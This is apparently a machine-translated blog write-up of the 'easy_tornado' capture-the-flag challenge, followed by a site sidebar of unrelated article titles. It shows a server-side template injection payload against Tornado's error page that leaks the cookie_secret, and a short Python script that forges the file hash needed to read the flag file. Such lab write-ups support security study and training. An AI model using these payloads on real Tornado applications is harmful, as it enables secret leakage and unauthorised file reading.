当前位置:网站首页>Vulnerability recurrence easy_ tornado
Vulnerability recurrence easy_ tornado
2022-07-07 08:10:00 【_ s1mple】
[ Environmental Science ]
windows
[ Tools ]
Firefox
[ step ]
tornado yes python One of them web Application framework .
Got the title and found three documents :
flag.txt
/flag.txt
flag in /fllllllllllllag
Find out flag stay /fllllllllllllag In the document ;
welcome.txt
/welcome.txt
render
render yes python A rendering function in , Render variables into the template , That is, different pages can be formed by passing different parameters .
hints.txt
/hints.txt
md5(cookie_secret+md5(filename))
filehash=md5(cookie_secret+md5(filename)) Now? filename=/fllllllllllllag, Just need to know cookie_secret Can access flag.
After the test, I found another one error Interface , The format is /error?msg=Error, It is suspected that there is a server-side template injection attack (SSTI)
Try /error?msg={ {datetime}} stay Tornado In the front-end page template ,datetime It's pointing python in datetime This module ,Tornado Some object aliases are provided to quickly access objects , You can refer to Tornado Official documents
Find... By looking up the documentation cookie_secret stay Application object settings Properties of the , Also found that self.application.settings There's an alias
RequestHandler.settings
An alias for self.application.settings.
handler To handle the current page RequestHandler object , RequestHandler.settings Point to self.application.settings, therefore handler.settings Point to RequestHandler.application.settings.
structure payload obtain cookie_secret
/error?msg={
{handler.settings}}
'cookie_secret': 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%[email protected]![VtR#geh9UHsbnL_+mT5N~J84*r'
Calculation filehash value :
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%[email protected]![VtR#geh9UHsbnL_+mT5N~J84*r'
print(md5(cookie_secret+md5(filename)))
if __name__ == '__main__':
filehash()
payload:
file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
Succeed in getting flag.
边栏推荐
- buureservewp(2)
- Recursive construction of maximum binary tree
- LeetCode简单题之判断一个数的数字计数是否等于数位的值
- Game attack and defense world reverse
- C language communication travel card background system
- Complex network modeling (II)
- Implementation of replacement function of shell script
- 船载雷达天线滑环的使用
- Recursive method to verify whether a tree is a binary search tree (BST)
- Linux server development, MySQL index principle and optimization
猜你喜欢
[quick start of Digital IC Verification] 15. Basic syntax of SystemVerilog learning 2 (operators, type conversion, loops, task/function... Including practical exercises)
Thinkcmf6.0 installation tutorial
【数字IC验证快速入门】13、SystemVerilog interface 和 program 学习
Notes on PHP penetration test topics
[quickstart to Digital IC Validation] 15. Basic syntax for SystemVerilog Learning 2 (operator, type conversion, loop, Task / Function... Including practical exercises)
Uniapp mobile terminal forced update function
【數字IC驗證快速入門】15、SystemVerilog學習之基本語法2(操作符、類型轉換、循環、Task/Function...內含實踐練習)
电池、电机技术受到很大关注,反而电控技术却很少被提及?
Linux server development, detailed explanation of redis related commands and their principles
2022 National latest fire-fighting facility operator (primary fire-fighting facility operator) simulation questions and answers
随机推荐
Complete linear regression manually based on pytoch framework
Qinglong panel -- finishing usable scripts
B. Value sequence thinking
[matlab] when matrix multiplication in Simulink user-defined function does not work properly, matrix multiplication module in module library can be used instead
【数字IC验证快速入门】13、SystemVerilog interface 和 program 学习
Content of string
Es FAQ summary
Linux server development, detailed explanation of redis related commands and their principles
Linux server development, redis protocol and asynchronous mode
Linux server development, MySQL cache strategy
Dedecms collects content without writing rules
It took "7" years to build the robot framework into a micro service
力扣(LeetCode)187. 重复的DNA序列(2022.07.06)
通俗易懂单点登录SSO
The legend about reading the configuration file under SRC
Fast parsing intranet penetration escorts the document encryption industry
Open source ecosystem | create a vibrant open source community and jointly build a new open source ecosystem!
[VHDL parallel statement execution]
Qinglong panel - today's headlines
Lattice coloring - matrix fast power optimized shape pressure DP